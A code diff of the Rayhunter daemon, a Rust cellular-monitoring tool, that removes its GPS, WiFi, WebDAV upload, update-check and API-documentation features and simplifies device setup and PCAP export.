description = "Returns the most recently submitted GPS coordinates. Returns 404 if no coordinates have been submitted yet this session."
|
|
||||||
))]
|
|
||||||
pub async fn get_gps(State(state): State<Arc<ServerState>>) -> Result<Json<GpsData>, StatusCode> {
|
|
||||||
let gps = state.gps_state.read().await;
|
|
||||||
match gps.as_ref() {
|
|
||||||
Some(data) => Ok(Json(data.clone())),
|
|
||||||
None => Err(StatusCode::NOT_FOUND),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -6,7 +6,7 @@ use tokio::sync::mpsc::Sender;
|
|||||||
use tokio_util::sync::CancellationToken;
|
use tokio_util::sync::CancellationToken;
|
||||||
use tokio_util::task::TaskTracker;
|
use tokio_util::task::TaskTracker;
|
||||||
|
|
||||||
use crate::config::{self, KeyInputMode};
|
use crate::config;
|
||||||
use crate::diag::DiagDeviceCtrlMessage;
|
use crate::diag::DiagDeviceCtrlMessage;
|
||||||
|
|
||||||
#[derive(Debug)]
|
#[derive(Debug)]
|
||||||
@@ -23,7 +23,7 @@ pub fn run_key_input_thread(
|
|||||||
diag_tx: Sender<DiagDeviceCtrlMessage>,
|
diag_tx: Sender<DiagDeviceCtrlMessage>,
|
||||||
cancellation_token: CancellationToken,
|
cancellation_token: CancellationToken,
|
||||||
) {
|
) {
|
||||||
if config.key_input_mode == KeyInputMode::Disabled {
|
if config.key_input_mode == 0 {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,78 +0,0 @@
|
|||||||
pub mod analysis;
|
|
||||||
pub mod battery;
|
|
||||||
pub mod config;
|
|
||||||
pub mod crypto_provider;
|
|
||||||
pub mod diag;
|
|
||||||
pub mod display;
|
|
||||||
pub mod error;
|
|
||||||
pub mod gps;
|
|
||||||
pub mod key_input;
|
|
||||||
pub mod notifications;
|
|
||||||
pub mod pcap;
|
|
||||||
pub mod qmdl_store;
|
|
||||||
pub mod server;
|
|
||||||
pub mod stats;
|
|
||||||
pub mod update;
|
|
||||||
pub mod webdav;
|
|
||||||
|
|
||||||
#[cfg(feature = "apidocs")]
|
|
||||||
use utoipa::OpenApi;
|
|
||||||
|
|
||||||
// Add anotated paths to api docs
|
|
||||||
#[cfg(feature = "apidocs")]
|
|
||||||
#[derive(OpenApi)]
|
|
||||||
#[openapi(
|
|
||||||
info(
|
|
||||||
description = "OpenAPI documentation for Rayhunter daemon\n\n**Note:** API endpoints are subject to change as needs arise, though we will try to keep them as stable as possible and notify about breaking changes in the changelogs for new versions.\n\nNo endpoints require any authentication. To use the in-browser execution on this page, you may need to disable CORS temporarily for your browser.",
|
|
||||||
license(
|
|
||||||
name = "GNU General Public License v3.0",
|
|
||||||
url = "https://github.com/EFForg/rayhunter/blob/main/LICENSE"
|
|
||||||
)
|
|
||||||
),
|
|
||||||
paths(
|
|
||||||
pcap::get_pcap,
|
|
||||||
server::get_qmdl,
|
|
||||||
server::get_zip,
|
|
||||||
stats::get_system_stats,
|
|
||||||
stats::get_qmdl_manifest,
|
|
||||||
stats::get_update_status,
|
|
||||||
stats::get_log,
|
|
||||||
diag::start_recording,
|
|
||||||
diag::stop_recording,
|
|
||||||
diag::delete_recording,
|
|
||||||
diag::delete_all_recordings,
|
|
||||||
diag::get_analysis_report,
|
|
||||||
analysis::get_analysis_status,
|
|
||||||
analysis::start_analysis,
|
|
||||||
server::get_config,
|
|
||||||
server::set_config,
|
|
||||||
server::test_notification,
|
|
||||||
server::get_time,
|
|
||||||
server::set_time_offset,
|
|
||||||
server::debug_set_display_state,
|
|
||||||
gps::post_gps,
|
|
||||||
gps::get_gps
|
|
||||||
),
|
|
||||||
servers(
|
|
||||||
(
|
|
||||||
url = "http://localhost:8080",
|
|
||||||
description = "ADB port bridge"
|
|
||||||
),
|
|
||||||
(
|
|
||||||
url = "http://192.168.1.1:8080",
|
|
||||||
description = "Orbic WiFi GUI"
|
|
||||||
),
|
|
||||||
(
|
|
||||||
url = "http://192.168.0.1:8080",
|
|
||||||
description = "TPLink WiFi GUI"
|
|
||||||
),
|
|
||||||
)
|
|
||||||
)]
|
|
||||||
pub struct ApiDocs;
|
|
||||||
|
|
||||||
#[cfg(feature = "apidocs")]
|
|
||||||
impl ApiDocs {
|
|
||||||
pub fn generate() -> String {
|
|
||||||
ApiDocs::openapi().to_pretty_json().unwrap()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+28
-85
@@ -1,39 +1,31 @@
|
|||||||
mod analysis;
|
mod analysis;
|
||||||
mod battery;
|
mod battery;
|
||||||
mod config;
|
mod config;
|
||||||
mod crypto_provider;
|
|
||||||
mod diag;
|
mod diag;
|
||||||
mod display;
|
mod display;
|
||||||
mod error;
|
mod error;
|
||||||
mod gps;
|
|
||||||
mod key_input;
|
mod key_input;
|
||||||
mod notifications;
|
mod notifications;
|
||||||
mod pcap;
|
mod pcap;
|
||||||
mod qmdl_store;
|
mod qmdl_store;
|
||||||
mod server;
|
mod server;
|
||||||
mod stats;
|
mod stats;
|
||||||
mod update;
|
|
||||||
mod webdav;
|
|
||||||
|
|
||||||
use std::net::SocketAddr;
|
use std::net::SocketAddr;
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
|
|
||||||
use crate::battery::run_battery_notification_worker;
|
use crate::battery::run_battery_notification_worker;
|
||||||
use crate::config::{GpsMode, parse_args, parse_config};
|
use crate::config::{parse_args, parse_config};
|
||||||
use crate::diag::run_diag_read_thread;
|
use crate::diag::run_diag_read_thread;
|
||||||
use crate::error::RayhunterError;
|
use crate::error::RayhunterError;
|
||||||
use crate::gps::{get_gps, post_gps};
|
|
||||||
use crate::notifications::{NotificationService, run_notification_worker};
|
use crate::notifications::{NotificationService, run_notification_worker};
|
||||||
use crate::pcap::get_pcap;
|
use crate::pcap::get_pcap;
|
||||||
use crate::qmdl_store::RecordingStore;
|
use crate::qmdl_store::RecordingStore;
|
||||||
use crate::server::{
|
use crate::server::{
|
||||||
ServerState, debug_set_display_state, get_config, get_qmdl, get_time, get_wifi_status, get_zip,
|
ServerState, debug_set_display_state, get_config, get_qmdl, get_time, get_zip, serve_static,
|
||||||
scan_wifi, serve_static, set_config, set_time_offset, test_notification,
|
set_config, set_time_offset, test_notification,
|
||||||
};
|
};
|
||||||
use crate::stats::{get_qmdl_manifest, get_system_stats, get_update_status};
|
use crate::stats::{get_qmdl_manifest, get_system_stats};
|
||||||
use crate::update::{UpdateStatus, run_update_check_worker};
|
|
||||||
use crate::webdav::run_webdav_upload_worker;
|
|
||||||
use wifi_station::WifiStatus;
|
|
||||||
|
|
||||||
use analysis::{
|
use analysis::{
|
||||||
AnalysisCtrlMessage, AnalysisStatus, get_analysis_status, run_analysis_thread, start_analysis,
|
AnalysisCtrlMessage, AnalysisStatus, get_analysis_status, run_analysis_thread, start_analysis,
|
||||||
@@ -45,9 +37,10 @@ use diag::{
|
|||||||
DiagDeviceCtrlMessage, delete_all_recordings, delete_recording, get_analysis_report,
|
DiagDeviceCtrlMessage, delete_all_recordings, delete_recording, get_analysis_report,
|
||||||
start_recording, stop_recording,
|
start_recording, stop_recording,
|
||||||
};
|
};
|
||||||
use log::{error, info, warn};
|
use log::{error, info};
|
||||||
use qmdl_store::RecordingStoreError;
|
use qmdl_store::RecordingStoreError;
|
||||||
use rayhunter::Device;
|
use rayhunter::Device;
|
||||||
|
use rayhunter::diag_device::DiagDevice;
|
||||||
use stats::get_log;
|
use stats::get_log;
|
||||||
use tokio::net::TcpListener;
|
use tokio::net::TcpListener;
|
||||||
use tokio::select;
|
use tokio::select;
|
||||||
@@ -65,7 +58,6 @@ fn get_router() -> AppRouter {
|
|||||||
.route("/api/qmdl/{name}", get(get_qmdl))
|
.route("/api/qmdl/{name}", get(get_qmdl))
|
||||||
.route("/api/zip/{name}", get(get_zip))
|
.route("/api/zip/{name}", get(get_zip))
|
||||||
.route("/api/system-stats", get(get_system_stats))
|
.route("/api/system-stats", get(get_system_stats))
|
||||||
.route("/api/update-status", get(get_update_status))
|
|
||||||
.route("/api/qmdl-manifest", get(get_qmdl_manifest))
|
.route("/api/qmdl-manifest", get(get_qmdl_manifest))
|
||||||
.route("/api/log", get(get_log))
|
.route("/api/log", get(get_log))
|
||||||
.route("/api/start-recording", post(start_recording))
|
.route("/api/start-recording", post(start_recording))
|
||||||
@@ -78,13 +70,9 @@ fn get_router() -> AppRouter {
|
|||||||
.route("/api/config", get(get_config))
|
.route("/api/config", get(get_config))
|
||||||
.route("/api/config", post(set_config))
|
.route("/api/config", post(set_config))
|
||||||
.route("/api/test-notification", post(test_notification))
|
.route("/api/test-notification", post(test_notification))
|
||||||
.route("/api/wifi-status", get(get_wifi_status))
|
|
||||||
.route("/api/wifi-scan", post(scan_wifi))
|
|
||||||
.route("/api/time", get(get_time))
|
.route("/api/time", get(get_time))
|
||||||
.route("/api/time-offset", post(set_time_offset))
|
.route("/api/time-offset", post(set_time_offset))
|
||||||
.route("/api/debug/display-state", post(debug_set_display_state))
|
.route("/api/debug/display-state", post(debug_set_display_state))
|
||||||
.route("/api/gps", get(get_gps))
|
|
||||||
.route("/api/gps", post(post_gps))
|
|
||||||
.route("/", get(|| async { Redirect::permanent("/index.html") }))
|
.route("/", get(|| async { Redirect::permanent("/index.html") }))
|
||||||
.route("/{*path}", get(serve_static))
|
.route("/{*path}", get(serve_static))
|
||||||
}
|
}
|
||||||
@@ -185,7 +173,12 @@ fn run_shutdown_thread(
|
|||||||
async fn main() -> Result<(), RayhunterError> {
|
async fn main() -> Result<(), RayhunterError> {
|
||||||
rayhunter::init_logging(log::LevelFilter::Info);
|
rayhunter::init_logging(log::LevelFilter::Info);
|
||||||
|
|
||||||
crate::crypto_provider::install_default();
|
#[cfg(feature = "rustcrypto-tls")]
|
||||||
|
{
|
||||||
|
rustls_rustcrypto::provider()
|
||||||
|
.install_default()
|
||||||
|
.expect("Couldn't install rustcrypto provider");
|
||||||
|
}
|
||||||
|
|
||||||
let args = parse_args();
|
let args = parse_args();
|
||||||
|
|
||||||
@@ -220,17 +213,20 @@ async fn run_with_config(
|
|||||||
let _shutdown_guard = shutdown_token.clone().drop_guard();
|
let _shutdown_guard = shutdown_token.clone().drop_guard();
|
||||||
|
|
||||||
let notification_service = NotificationService::new(config.ntfy_url.clone());
|
let notification_service = NotificationService::new(config.ntfy_url.clone());
|
||||||
let update_status_lock = Arc::new(RwLock::new(UpdateStatus::default()));
|
|
||||||
|
|
||||||
if !config.debug_mode {
|
if !config.debug_mode {
|
||||||
|
info!("Using configuration for device: {0:?}", config.device);
|
||||||
|
let mut dev = DiagDevice::new(&config.device)
|
||||||
|
.await
|
||||||
|
.map_err(RayhunterError::DiagInitError)?;
|
||||||
|
dev.config_logs()
|
||||||
|
.await
|
||||||
|
.map_err(RayhunterError::DiagInitError)?;
|
||||||
|
|
||||||
info!("Starting Diag Thread");
|
info!("Starting Diag Thread");
|
||||||
let gps_fixed_coords = match (config.gps_fixed_latitude, config.gps_fixed_longitude) {
|
|
||||||
(Some(lat), Some(lon)) => Some((lat, lon)),
|
|
||||||
_ => None,
|
|
||||||
};
|
|
||||||
run_diag_read_thread(
|
run_diag_read_thread(
|
||||||
&task_tracker,
|
&task_tracker,
|
||||||
config.device.clone(),
|
dev,
|
||||||
diag_rx,
|
diag_rx,
|
||||||
diag_tx.clone(),
|
diag_tx.clone(),
|
||||||
ui_update_tx.clone(),
|
ui_update_tx.clone(),
|
||||||
@@ -240,13 +236,11 @@ async fn run_with_config(
|
|||||||
notification_service.new_handler(),
|
notification_service.new_handler(),
|
||||||
config.min_space_to_start_recording_mb,
|
config.min_space_to_start_recording_mb,
|
||||||
config.min_space_to_continue_recording_mb,
|
config.min_space_to_continue_recording_mb,
|
||||||
config.gps_mode,
|
|
||||||
gps_fixed_coords,
|
|
||||||
);
|
);
|
||||||
info!("Starting UI");
|
info!("Starting UI");
|
||||||
|
|
||||||
let update_ui = match &config.device {
|
let update_ui = match &config.device {
|
||||||
Device::Orbic | Device::Moxee => display::orbic::update_ui,
|
Device::Orbic => display::orbic::update_ui,
|
||||||
Device::Tplink => display::tplink::update_ui,
|
Device::Tplink => display::tplink::update_ui,
|
||||||
Device::Tmobile => display::tmobile::update_ui,
|
Device::Tmobile => display::tmobile::update_ui,
|
||||||
Device::Wingtech => display::wingtech::update_ui,
|
Device::Wingtech => display::wingtech::update_ui,
|
||||||
@@ -262,16 +256,6 @@ async fn run_with_config(
|
|||||||
diag_tx.clone(),
|
diag_tx.clone(),
|
||||||
shutdown_token.clone(),
|
shutdown_token.clone(),
|
||||||
);
|
);
|
||||||
|
|
||||||
if config.auto_check_updates {
|
|
||||||
run_update_check_worker(
|
|
||||||
&task_tracker,
|
|
||||||
shutdown_token.clone(),
|
|
||||||
update_status_lock.clone(),
|
|
||||||
notification_service.new_handler(),
|
|
||||||
config.enabled_notifications.clone(),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
|
let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
|
||||||
@@ -291,14 +275,12 @@ async fn run_with_config(
|
|||||||
analysis_tx.clone(),
|
analysis_tx.clone(),
|
||||||
);
|
);
|
||||||
|
|
||||||
if !config.debug_mode {
|
run_battery_notification_worker(
|
||||||
run_battery_notification_worker(
|
&task_tracker,
|
||||||
&task_tracker,
|
config.device.clone(),
|
||||||
config.device.clone(),
|
notification_service.new_handler(),
|
||||||
notification_service.new_handler(),
|
shutdown_token.clone(),
|
||||||
shutdown_token.clone(),
|
);
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
run_notification_worker(
|
run_notification_worker(
|
||||||
&task_tracker,
|
&task_tracker,
|
||||||
@@ -306,41 +288,6 @@ async fn run_with_config(
|
|||||||
config.enabled_notifications.clone(),
|
config.enabled_notifications.clone(),
|
||||||
);
|
);
|
||||||
|
|
||||||
let wifi_status = Arc::new(RwLock::new(WifiStatus::default()));
|
|
||||||
if !config.debug_mode {
|
|
||||||
wifi_station::run_wifi_client(
|
|
||||||
&task_tracker,
|
|
||||||
&config.wifi_config(),
|
|
||||||
shutdown_token.clone(),
|
|
||||||
wifi_status.clone(),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
if !config.webdav.url.trim().is_empty() {
|
|
||||||
run_webdav_upload_worker(
|
|
||||||
&task_tracker,
|
|
||||||
shutdown_token.clone(),
|
|
||||||
qmdl_store_lock.clone(),
|
|
||||||
config.webdav.clone().into(),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
let initial_gps = if config.gps_mode == GpsMode::Fixed {
|
|
||||||
match (config.gps_fixed_latitude, config.gps_fixed_longitude) {
|
|
||||||
(Some(lat), Some(lon)) => Some(gps::GpsData {
|
|
||||||
latitude: lat,
|
|
||||||
longitude: lon,
|
|
||||||
}),
|
|
||||||
_ => {
|
|
||||||
warn!(
|
|
||||||
"gps_mode is Fixed but gps_fixed_latitude or gps_fixed_longitude is missing from config — no GPS coordinates will be recorded"
|
|
||||||
);
|
|
||||||
None
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
};
|
|
||||||
|
|
||||||
let state = Arc::new(ServerState {
|
let state = Arc::new(ServerState {
|
||||||
config_path: args.config_path.clone(),
|
config_path: args.config_path.clone(),
|
||||||
config,
|
config,
|
||||||
@@ -350,10 +297,6 @@ async fn run_with_config(
|
|||||||
analysis_sender: analysis_tx,
|
analysis_sender: analysis_tx,
|
||||||
daemon_restart_token: restart_token.clone(),
|
daemon_restart_token: restart_token.clone(),
|
||||||
ui_update_sender: Some(ui_update_tx),
|
ui_update_sender: Some(ui_update_tx),
|
||||||
wifi_status,
|
|
||||||
wifi_scan_lock: tokio::sync::Mutex::new(()),
|
|
||||||
gps_state: Arc::new(tokio::sync::RwLock::new(initial_gps)),
|
|
||||||
update_status_lock: update_status_lock.clone(),
|
|
||||||
});
|
});
|
||||||
run_server(&task_tracker, state, shutdown_token.clone()).await;
|
run_server(&task_tracker, state, shutdown_token.clone()).await;
|
||||||
|
|
||||||
|
|||||||
@@ -10,8 +10,6 @@ use thiserror::Error;
|
|||||||
use tokio::sync::mpsc::{self, error::TryRecvError};
|
use tokio::sync::mpsc::{self, error::TryRecvError};
|
||||||
use tokio_util::task::TaskTracker;
|
use tokio_util::task::TaskTracker;
|
||||||
|
|
||||||
pub const DEFAULT_NOTIFICATION_TIMEOUT: u64 = 10; //seconds
|
|
||||||
|
|
||||||
#[derive(Error, Debug)]
|
#[derive(Error, Debug)]
|
||||||
pub enum NotificationError {
|
pub enum NotificationError {
|
||||||
#[error("HTTP request failed: {0}")]
|
#[error("HTTP request failed: {0}")]
|
||||||
@@ -20,13 +18,10 @@ pub enum NotificationError {
|
|||||||
HttpError(reqwest::StatusCode),
|
HttpError(reqwest::StatusCode),
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Enum of valid notification types
|
|
||||||
#[derive(Hash, Eq, PartialEq, Debug, Clone, Serialize, Deserialize)]
|
#[derive(Hash, Eq, PartialEq, Debug, Clone, Serialize, Deserialize)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub enum NotificationType {
|
pub enum NotificationType {
|
||||||
Warning,
|
Warning,
|
||||||
LowBattery,
|
LowBattery,
|
||||||
Update,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub struct Notification {
|
pub struct Notification {
|
||||||
@@ -59,7 +54,6 @@ struct NotificationStatus {
|
|||||||
|
|
||||||
pub struct NotificationService {
|
pub struct NotificationService {
|
||||||
url: Option<String>,
|
url: Option<String>,
|
||||||
timeout: u64,
|
|
||||||
tx: mpsc::Sender<Notification>,
|
tx: mpsc::Sender<Notification>,
|
||||||
rx: mpsc::Receiver<Notification>,
|
rx: mpsc::Receiver<Notification>,
|
||||||
}
|
}
|
||||||
@@ -67,12 +61,7 @@ pub struct NotificationService {
|
|||||||
impl NotificationService {
|
impl NotificationService {
|
||||||
pub fn new(url: Option<String>) -> Self {
|
pub fn new(url: Option<String>) -> Self {
|
||||||
let (tx, rx) = mpsc::channel(10);
|
let (tx, rx) = mpsc::channel(10);
|
||||||
Self {
|
Self { url, tx, rx }
|
||||||
url,
|
|
||||||
timeout: DEFAULT_NOTIFICATION_TIMEOUT,
|
|
||||||
tx,
|
|
||||||
rx,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn new_handler(&self) -> mpsc::Sender<Notification> {
|
pub fn new_handler(&self) -> mpsc::Sender<Notification> {
|
||||||
@@ -85,14 +74,8 @@ pub async fn send_notification(
|
|||||||
http_client: &reqwest::Client,
|
http_client: &reqwest::Client,
|
||||||
url: &str,
|
url: &str,
|
||||||
message: String,
|
message: String,
|
||||||
timeout: u64,
|
|
||||||
) -> Result<(), NotificationError> {
|
) -> Result<(), NotificationError> {
|
||||||
let response = http_client
|
let response = http_client.post(url).body(message).send().await?;
|
||||||
.post(url)
|
|
||||||
.body(message)
|
|
||||||
.timeout(Duration::from_secs(timeout))
|
|
||||||
.send()
|
|
||||||
.await?;
|
|
||||||
|
|
||||||
if response.status().is_success() {
|
if response.status().is_success() {
|
||||||
Ok(())
|
Ok(())
|
||||||
@@ -166,13 +149,7 @@ pub fn run_notification_worker(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
match send_notification(
|
match send_notification(&http_client, &url, notification.message.clone()).await
|
||||||
&http_client,
|
|
||||||
&url,
|
|
||||||
notification.message.clone(),
|
|
||||||
notification_service.timeout,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
{
|
{
|
||||||
Ok(()) => {
|
Ok(()) => {
|
||||||
notification.last_sent = Some(Instant::now());
|
notification.last_sent = Some(Instant::now());
|
||||||
@@ -224,7 +201,10 @@ mod tests {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn setup_test_server() -> (Arc<Mutex<Vec<String>>>, String) {
|
async fn setup_test_server() -> (Arc<Mutex<Vec<String>>>, String) {
|
||||||
crate::crypto_provider::install_default();
|
#[cfg(feature = "rustcrypto-tls")]
|
||||||
|
{
|
||||||
|
let _ = rustls_rustcrypto::provider().install_default();
|
||||||
|
}
|
||||||
|
|
||||||
let received_messages = Arc::new(Mutex::new(Vec::new()));
|
let received_messages = Arc::new(Mutex::new(Vec::new()));
|
||||||
let test_state = TestServerState {
|
let test_state = TestServerState {
|
||||||
@@ -248,53 +228,12 @@ mod tests {
|
|||||||
(received_messages, url)
|
(received_messages, url)
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn setup_timeout_server(timeout: u64) -> String {
|
|
||||||
crate::crypto_provider::install_default();
|
|
||||||
|
|
||||||
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
|
|
||||||
let addr = listener.local_addr().unwrap();
|
|
||||||
let url = format!("http://{}", addr);
|
|
||||||
|
|
||||||
tokio::spawn(async move {
|
|
||||||
// Accept the connection but don't respond in the timeout
|
|
||||||
let (_socket, _addr) = listener.accept().await.unwrap();
|
|
||||||
tokio::time::sleep(Duration::from_secs(timeout * 2)).await;
|
|
||||||
});
|
|
||||||
|
|
||||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
|
||||||
|
|
||||||
url
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn cleanup_worker(sender: mpsc::Sender<Notification>, tracker: TaskTracker) {
|
async fn cleanup_worker(sender: mpsc::Sender<Notification>, tracker: TaskTracker) {
|
||||||
drop(sender);
|
drop(sender);
|
||||||
tracker.close();
|
tracker.close();
|
||||||
tracker.wait().await;
|
tracker.wait().await;
|
||||||
}
|
}
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_send_notification_times_out() {
|
|
||||||
let timeout: u64 = 2;
|
|
||||||
let url = setup_timeout_server(timeout).await;
|
|
||||||
|
|
||||||
let http_client = reqwest::Client::new();
|
|
||||||
let result = send_notification(
|
|
||||||
&http_client,
|
|
||||||
&url,
|
|
||||||
"test warning message".to_string(),
|
|
||||||
timeout,
|
|
||||||
)
|
|
||||||
.await;
|
|
||||||
|
|
||||||
match result {
|
|
||||||
Err(NotificationError::RequestFailed(reqwest_error)) => {
|
|
||||||
println!("error = {:?}", reqwest_error);
|
|
||||||
assert!(reqwest_error.is_timeout());
|
|
||||||
}
|
|
||||||
_ => unreachable!(),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
#[tokio::test]
|
||||||
async fn test_notification_worker_sends_message() {
|
async fn test_notification_worker_sends_message() {
|
||||||
let (received_messages, url) = setup_test_server().await;
|
let (received_messages, url) = setup_test_server().await;
|
||||||
|
|||||||
+12
-153
@@ -1,8 +1,5 @@
|
|||||||
use crate::gps::{GpsRecord, load_gps_records};
|
use crate::ServerState;
|
||||||
use crate::qmdl_store::FileKind;
|
|
||||||
use crate::server::ServerState;
|
|
||||||
|
|
||||||
use crate::config::GpsMode;
|
|
||||||
use anyhow::Error;
|
use anyhow::Error;
|
||||||
use axum::body::Body;
|
use axum::body::Body;
|
||||||
use axum::extract::{Path, State};
|
use axum::extract::{Path, State};
|
||||||
@@ -12,27 +9,15 @@ use axum::response::{IntoResponse, Response};
|
|||||||
use log::error;
|
use log::error;
|
||||||
use rayhunter::diag::DataType;
|
use rayhunter::diag::DataType;
|
||||||
use rayhunter::gsmtap_parser;
|
use rayhunter::gsmtap_parser;
|
||||||
use rayhunter::pcap::{GpsPoint, GsmtapPcapWriter};
|
use rayhunter::pcap::GsmtapPcapWriter;
|
||||||
use rayhunter::qmdl::QmdlReader;
|
use rayhunter::qmdl::QmdlReader;
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
use tokio::io::{AsyncRead, AsyncWrite, duplex};
|
use tokio::io::{AsyncRead, AsyncWrite, duplex};
|
||||||
use tokio_util::io::ReaderStream;
|
use tokio_util::io::ReaderStream;
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
// Streams a pcap file chunk-by-chunk to the client by reading the QMDL data
|
||||||
get,
|
// written so far. This is done by spawning a thread which streams chunks of
|
||||||
path = "/api/pcap/{name}",
|
// pcap data to a channel that's piped to the client.
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "PCAP conversion successful", content_type = "application/vnd.tcpdump.pcap"),
|
|
||||||
(status = StatusCode::NOT_FOUND, description = "Could not find file {name}"),
|
|
||||||
(status = StatusCode::SERVICE_UNAVAILABLE, description = "QMDL file is empty")
|
|
||||||
),
|
|
||||||
params(
|
|
||||||
("name" = String, Path, description = "QMDL filename to convert and download")
|
|
||||||
),
|
|
||||||
summary = "Download a PCAP file",
|
|
||||||
description = "Stream a PCAP file to a client in chunks by converting the QMDL data for file {name} written so far."
|
|
||||||
))]
|
|
||||||
pub async fn get_pcap(
|
pub async fn get_pcap(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
Path(mut qmdl_name): Path<String>,
|
Path(mut qmdl_name): Path<String>,
|
||||||
@@ -53,16 +38,15 @@ pub async fn get_pcap(
|
|||||||
}
|
}
|
||||||
let qmdl_size_bytes = entry.qmdl_size_bytes;
|
let qmdl_size_bytes = entry.qmdl_size_bytes;
|
||||||
let qmdl_file = qmdl_store
|
let qmdl_file = qmdl_store
|
||||||
.open_file(entry_index, FileKind::Qmdl)
|
.open_entry_qmdl(entry_index)
|
||||||
.await
|
.await
|
||||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, format!("{e:?}")))?
|
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, format!("{e:?}")))?;
|
||||||
.ok_or((StatusCode::NOT_FOUND, "QMDL file not found".to_string()))?;
|
// the QMDL reader should stop at the last successfully written data chunk
|
||||||
|
// (entry.size_bytes)
|
||||||
let (reader, writer) = duplex(1024);
|
let (reader, writer) = duplex(1024);
|
||||||
let gps_records = load_gps_records_for_entry(&state, entry_index).await;
|
|
||||||
drop(qmdl_store);
|
|
||||||
|
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
if let Err(e) = generate_pcap_data(writer, qmdl_file, qmdl_size_bytes, gps_records).await {
|
if let Err(e) = generate_pcap_data(writer, qmdl_file, qmdl_size_bytes).await {
|
||||||
error!("failed to generate PCAP: {e:?}");
|
error!("failed to generate PCAP: {e:?}");
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
@@ -72,68 +56,10 @@ pub async fn get_pcap(
|
|||||||
Ok((headers, body).into_response())
|
Ok((headers, body).into_response())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub(crate) async fn load_gps_records_for_entry(
|
|
||||||
state: &Arc<ServerState>,
|
|
||||||
entry_index: usize,
|
|
||||||
) -> Vec<GpsRecord> {
|
|
||||||
let qmdl_store = state.qmdl_store_lock.read().await;
|
|
||||||
match qmdl_store.open_file(entry_index, FileKind::Gps).await {
|
|
||||||
Ok(Some(file)) => load_gps_records(file).await,
|
|
||||||
Ok(None) => {
|
|
||||||
let gps_mode = qmdl_store
|
|
||||||
.manifest
|
|
||||||
.entries
|
|
||||||
.get(entry_index)
|
|
||||||
.and_then(|e| e.gps_mode);
|
|
||||||
if gps_mode.is_some_and(|m| m != GpsMode::Disabled) {
|
|
||||||
error!(
|
|
||||||
"GPS storage expected for entry {entry_index} (mode: {gps_mode:?}) but not found"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
vec![]
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
error!("failed to open GPS storage: {e}");
|
|
||||||
vec![]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fn record_timestamp(r: &GpsRecord) -> i64 {
|
|
||||||
r.latest_packet_timestamp.unwrap_or(i64::MIN)
|
|
||||||
}
|
|
||||||
|
|
||||||
fn find_nearest_gps(records: &[GpsRecord], packet_timestamp: i64) -> Option<GpsPoint> {
|
|
||||||
if records.is_empty() {
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
let idx = records.partition_point(|r| record_timestamp(r) <= packet_timestamp);
|
|
||||||
let record = if idx == 0 {
|
|
||||||
&records[0]
|
|
||||||
} else if idx >= records.len() {
|
|
||||||
&records[records.len() - 1]
|
|
||||||
} else {
|
|
||||||
let (before, after) = (&records[idx - 1], &records[idx]);
|
|
||||||
let before_delta = packet_timestamp - record_timestamp(before);
|
|
||||||
let after_delta = record_timestamp(after) - packet_timestamp;
|
|
||||||
if before_delta <= after_delta {
|
|
||||||
before
|
|
||||||
} else {
|
|
||||||
after
|
|
||||||
}
|
|
||||||
};
|
|
||||||
Some(GpsPoint {
|
|
||||||
latitude: record.lat,
|
|
||||||
longitude: record.lon,
|
|
||||||
unix_ts: record_timestamp(record),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
pub async fn generate_pcap_data<R, W>(
|
pub async fn generate_pcap_data<R, W>(
|
||||||
writer: W,
|
writer: W,
|
||||||
qmdl_file: R,
|
qmdl_file: R,
|
||||||
qmdl_size_bytes: usize,
|
qmdl_size_bytes: usize,
|
||||||
gps_records: Vec<GpsRecord>,
|
|
||||||
) -> Result<(), Error>
|
) -> Result<(), Error>
|
||||||
where
|
where
|
||||||
W: AsyncWrite + Unpin + Send,
|
W: AsyncWrite + Unpin + Send,
|
||||||
@@ -148,15 +74,13 @@ where
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
for maybe_msg in container.messages() {
|
for maybe_msg in container.into_messages() {
|
||||||
match maybe_msg {
|
match maybe_msg {
|
||||||
Ok(msg) => {
|
Ok(msg) => {
|
||||||
let maybe_gsmtap_msg = gsmtap_parser::parse(msg)?;
|
